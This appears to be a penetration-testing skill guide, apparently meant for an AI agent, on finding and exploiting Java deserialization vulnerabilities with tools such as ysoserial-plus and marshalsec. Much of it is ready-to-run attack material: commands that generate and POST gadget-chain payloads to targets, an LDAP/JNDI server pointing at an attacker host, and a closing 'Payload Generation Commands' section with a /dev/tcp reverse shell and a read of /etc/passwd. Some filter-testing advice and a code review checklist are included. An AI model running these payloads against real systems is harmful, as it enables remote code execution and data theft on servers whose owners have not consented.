Java Deserialization Pentest Skill
A comprehensive guide for assessing and exploiting Java deserialization vulnerabilities during security testing.
Core Concepts
Why Deserialization is Dangerous
Java's ObjectInputStream.readObject() can execute arbitrary code when deserializing attacker-controlled data. The vulnerability exists because:
readObject()- Class-specific read logic executes during deserializationreadResolve()- Can replace deserialized objects with attacker-controlled onesvalidateObject()- Callbacks viaObjectInputValidation- Constructors are NOT executed - Gadget chains rely exclusively on the above callbacks
Any method in this chain invoking attacker-controlled data (command execution, JNDI lookups, reflection) becomes an RCE gadget.
Classic Attack Pattern
Attacker → Serialized Payload → ObjectInputStream.readObject() → readObject() → Gadget Chain → RCE
The readObject() method can call other methods on deserialized fields, which may execute arbitrary code.
Attack Methodology
Step 1: Identify Deserialization Entry Points
Look for these patterns in Java applications:
ObjectInputStream.readObject()RMIservices accepting serialized objectsHttpSessionserialization- Message queues (JMS, Kafka) with Java serialization
- File uploads accepting
.ser,.dat,.objfiles - XML with Java object encoding
- Base64-encoded payloads with
{#sb64}prefix (pac4j)
Step 2: Enumerate Available Gadget Chains
Use ysoserial-plus to discover available gadgets:
# List all available gadget chains
java -jar ysoserial-plus.jar
# Generate a payload for a specific chain
java -jar ysoserial-plus.jar CommonsCollections6 'calc.exe' | base64 -w0
# Common chains to try:
# - CommonsCollections1-7
# - C3P0
# - Spring1-4
# - Hibernate1-5
# - Tomcat1-2
# - SnakeYAML
# - Groovy1-2
Step 3: Deliver the Payload
HTTP POST with serialized data:
# Base64-encoded payload
curl -X POST http://target/api \
-H "Content-Type: application/octet-stream" \
--data-binary @payload.ser
# Or with base64 in body
curl -X POST http://target/api \
-H "Content-Type: application/json" \
-d '{"data": "BASE64_PAYLOAD_HERE"}'
RMI exploitation:
# Use marshalsec for RMI
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://attacker:8080/#ExploitClass 1389
File upload:
# Upload .ser file directly
python3 scripts/upload_serialized.py http://target/upload payload.ser
Step 4: Verify Code Execution
- Check for callback to attacker-controlled server
- Look for file creation on target
- Monitor for process spawning (calc.exe, reverse shell)
- Use
SerialSnifferto confirm deserialization occurred
Tooling
ysoserial-plus (Primary Exploitation)
# Install
wget https://github.com/ysoserial/ysoserial-plus/releases/latest/download/ysoserial-plus.jar
# Generate payload
java -jar ysoserial-plus.jar CommonsCollections6 'reverse_shell_command' > payload.ser
# Pipe to base64 for HTTP delivery
java -jar ysoserial-plus.jar CommonsCollections6 'calc' | base64 -w0
marshalsec (JNDI Gadgets)
# Start LDAP server for JNDI injection
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://attacker:8080/#ExploitClass 1389
# Generate JNDI payload
java -cp marshalsec.jar marshalsec.jndi.LDAPPayload 'ldap://attacker:1389/ExploitClass' > payload.ser
gadget-probe (Discovery)
# Scan for vulnerable deserialization endpoints
gadget-probe --url http://target --threads 50
SerialSniffer (Detection)
# Attach to JVM to see what's being deserialized
java -javaagent:SerialSniffer.jar -jar target-app.jar
Detection with JDK 22+
# Enable serialization debug logging
-Djdk.serialDebug=true
Recent Vulnerabilities (2023-2025)
| CVE | Product | Description |
|---|---|---|
| CVE-2023-34040 | Spring-Kafka | Deserialization of error-record headers |
| CVE-2023-36480 | Aerospike Java Client | Trusted-server assumption broken |
| CVE-2023-25581 | pac4j-core | {#sb64} Base64 deserialization bypass |
| CVE-2023-4528 | JSCAPE MFT Manager | XML-encoded Java objects RCE |
| 2024 | ysoserial-plus | New Hibernate5, TomcatEmbed, SnakeYAML 2.x gadgets |
Mitigation Testing
Check for Serialization Filtering
# Test if jdk.serialFilter is configured
echo "Test if filter rejects unknown classes"
# Send payload with uncommon gadget chain
# If rejected, filtering is likely enabled
Verify Filter Configuration
Look for these JVM arguments:
# Good: Allow-list approach
-Djdk.serialFilter="com.example.dto.*;java.base/*;!*"
# Good: Resource limits
-Djdk.serialFilter="maxbytes=16384;maxdepth=5;maxrefs=1000"
# Bad: No filter or overly permissive
-Djdk.serialFilter="*"
Test Filter Bypasses
Some filters can be bypassed:
- Inner classes -
com.example.Outer$Innermay bypasscom.example.Outer - Array types -
[Lcom.example.Class;may bypass class filters - Proxy classes -
$Proxy0may bypass filters - Module names -
java.base/*is often too permissive
Secure Code Review Checklist
When reviewing Java code for deserialization:
-
readObject()isprivatewith@Serialannotation - No user-supplied method calls in
readObject() - No I/O operations in
readObject() - Validation happens AFTER deserialization, not during
-
ObjectInputFilteris registered even for internal services - Prefer
Externalizableover default serialization - No raw
ObjectInputStreamexposed over network - CI pipeline runs
gadget-inspectororserialpwn-cli
Quick Reference
Common Gadget Chains by Library
| Library | Chains | Risk Level |
|---|---|---|
| CommonsCollections | 1-7 | Critical |
| Spring | 1-4 | Critical |
| Hibernate | 1-5 | High |
| SnakeYAML | 1-2 | High |
| Groovy | 1-2 | High |
| C3P0 | 1 | Medium |
| Tomcat | 1-2 | Medium |
Payload Generation Commands
# Reverse shell (CommonsCollections6)
java -jar ysoserial-plus.jar CommonsCollections6 'bash -i >& /dev/tcp/attacker/4444 0>&1' > payload.ser
# File read (C3P0)
java -jar ysoserial-plus.jar C3P0 'cat /etc/passwd' > payload.ser
# JNDI lookup (marshalsec)
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://attacker:8080/#ExploitClass 1389
References
- ysoserial-plus
- marshalsec
- gadget-probe
- SerialSniffer
- JEP 290 - Serialization Filtering
- JEP 415 - Context-Specific Filter Factories
Note: Always obtain proper authorization before testing deserialization vulnerabilities. Unauthorized exploitation of deserialization flaws is illegal and can cause severe damage to production systems.